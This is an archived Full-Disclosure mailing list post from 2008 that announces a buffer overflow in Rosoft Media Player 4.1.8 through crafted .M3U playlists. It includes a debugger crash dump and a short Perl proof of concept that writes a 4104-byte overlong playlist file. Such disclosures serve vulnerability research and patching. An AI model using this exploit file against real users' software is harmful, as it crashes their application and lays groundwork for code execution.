full-disclosure - Rosoft Media Player 4.1.8 Remote Buffer Overflow ( .M3U)

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Message-ID: <6a213ac30802151007r71ed5a76s6875be17dede2fd3@mail.gmail.com>
Date: Fri, 15 Feb 2008 13:07:27 -0500
From: lorenzo <securfrog@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Rosoft Media Player 4.1.8 Remote Buffer Overflow
	( .M3U)

>
>
> ###############################################################################################
> #Rosoft Media Player  4.1.8  Remote Buffer Overflow ( .M3U)
> #
> # @nolife : Pow...Pow ..If you are kind i'll show you my set of supers
> mega Tools, fuzzers ,and all the automated stuff  i use For M3U/ASX/PLS
> Pow..Pow ...
> # Nolifing is actually a Disease... Do not be mean with nolife's
> #
> #
> #   eax=41414141 ebx=41414141 ecx=00000000 edx=00ba9078 esi=0012eb7c
> edi=00ba9078
> #   eip=00403b9c esp=0012eb4c ebp=0012fb80 iopl=0         nv up ei pl nz
> na pe nc
> #   cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000
>  efl=00010206
> #   RosoftMediaPlayerFree+0x3b9c:
> #   00403b9c 8b10            mov     edx,dword ptr [eax]
> ds:0023:41414141=????????
> #
> #
> my $chars= "A" x 4104;
> my $file="I_Shot_The_Nolife.m3u";
> open(my $FILE, ">>$file") or die "Cannot open $file: $!";
> print $FILE $chars;
> close($FILE);
> print "$file has been created \n";
> print "Credits:Securfrog";

Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/